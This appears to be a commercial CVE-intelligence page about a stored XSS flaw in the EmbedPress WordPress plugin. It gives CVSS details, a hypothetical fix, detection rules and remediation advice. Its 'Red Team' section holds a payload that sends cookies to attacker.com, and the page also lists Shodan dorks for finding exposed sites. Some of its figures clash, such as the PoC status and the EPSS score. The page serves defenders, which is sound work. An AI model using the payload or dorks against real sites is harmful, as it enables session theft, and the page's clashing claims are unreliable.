☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2688

CVE-2024-2688 Cross-Site Scripting in Embedpress
📅 PUBLISHED: 2024-03-23 02:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2688 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin, affecting all versions up to and including 3.9.12. The flaw resides in the EmbedPress document widget, where insufficient input sanitization and output escaping on user-supplied attributes allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim accesses the compromised page. The vulnerability has a CVSS score of 5.4 (Medium), with a low EPSS score of 0.0% indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the EmbedPress plugin. It is not related to NPM, PyPI, Go, or Ruby packages. The plugin is distributed via the official WordPress plugin repository and is installed directly on WordPress sites. The risk is amplified by the plugin's popularity for embedding various media types, making it a target for supply chain attacks through compromised plugin updates or malicious forks.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – Attacker needs contributor-level access or higher.
  • User Interaction: None (UI:N) – No user action is required for the attack.
  • Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
  • Confidentiality Impact: Low (C:L) – Limited information disclosure possible.
  • Integrity Impact: Low (I:L) – Limited modification of data possible.
  • Availability Impact: None (A:N) – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation is limited by the requirement for authenticated access. However, the impact on confidentiality and integrity, combined with the lack of a patch, warrants immediate attention.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the EmbedPress plugin's document widget. The plugin allows users to embed documents (PDF, Google Docs, etc.) via shortcodes or Gutenberg blocks. The flaw occurs when user-supplied attributes (e.g., url, width, height) are not properly sanitized or escaped before being rendered in the HTML output.

Attack Flow:

  1. An authenticated user with contributor-level access or higher creates or edits a post/page.
  2. The attacker inserts the EmbedPress document widget and provides a malicious payload in one of the attributes, such as:
    [embedpress_document url="javascript:alert('XSS')"]
    
  3. The plugin fails to sanitize the url attribute, storing the malicious script in the WordPress database.
  4. When any user (including administrators) views the compromised page, the script executes in their browser context.

Root Cause: The plugin uses esc_attr() or similar functions inconsistently, or fails to apply them to all user-supplied attributes. The output escaping is insufficient, allowing HTML/JavaScript injection.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for similar XSS vulnerabilities.

Vulnerable Code (Example from embedpress.php or similar):

// Vulnerable: Direct output without escaping
echo '<div class="embedpress-document" data-url="' . $attributes['url'] . '">';

Patched Code (Hypothetical):

// Patched: Properly escape the URL attribute
echo '<div class="embedpress-document" data-url="' . esc_url( $attributes['url'] ) . '">';

The fix involves using esc_url() for URL attributes and esc_attr() for other attributes to ensure all user input is safely encoded before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with EmbedPress plugin version <= 3.9.12.
  • An authenticated user account with contributor-level access or higher.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or page.
  3. Insert the EmbedPress document block or shortcode.
  4. In the URL field, inject a JavaScript payload:
    javascript:alert(document.cookie)
    
    Or use a more sophisticated payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Publish or save the post.
  6. When an administrator or other user views the post, the script executes.

Note: No public exploit code is available at this time. The above is a conceptual demonstration.

Blue Team

Detection & Prevention:

  • Web Application Firewall (WAF): Deploy rules to block requests containing javascript: or <script> in URL parameters.
  • Input Validation: Ensure all user inputs are validated and sanitized on the server side.
  • Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
  • User Education: Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

  • Suspicious Post/Page Content: Posts containing EmbedPress shortcodes with javascript: or <script> in the URL attribute.
  • Unusual HTTP Requests: POST requests to /wp-admin/post.php or /wp-admin/admin-ajax.php with payloads in the url parameter.
  • Log Entries: WordPress debug logs showing failed sanitization attempts or unusual attribute values.
  • File Integrity: Modified plugin files (e.g., embedpress.php) if the attacker has file write access.

Detection Engineering

YARA Rule

rule CVE_2024_2688_EmbedPress_XSS {
    meta:
        description = "Detects malicious EmbedPress shortcodes with XSS payloads"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-2688"
    strings:
        $shortcode = /\[embedpress_document[^\]]*url\s*=\s*["'][^"']*javascript:/i
        $script_tag = /<script[^>]*>.*<\/script>/i
    condition:
        $shortcode or $script_tag
}

Sigma Rule

title: CVE-2024-2688 - Stored XSS in EmbedPress Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via EmbedPress document widget
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2688
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/post.php'
        http.body|contains: 'embedpress_document'
        http.body|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript URLs (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2688 - EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"embedpress_document"; http_client_body; content:"javascript:"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is available.
  2. Restrict User Roles: Limit contributor-level access to only trusted users. Consider using a plugin to enforce stricter role capabilities.
  3. Web Application Firewall (WAF): Deploy virtual patching rules to block XSS payloads in EmbedPress attributes.

Long-Term Fix:

  • Monitor for Patch: Subscribe to the plugin's changelog or security advisories for an official update.
  • Manual Code Fix: If you have developer resources, apply the hypothetical patch described above (use esc_url() and esc_attr() on all user-supplied attributes).
  • Upgrade: Once a patched version (e.g., 3.9.13 or higher) is released, update immediately.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/embedpress"
http.html:"embedpress" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2688/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.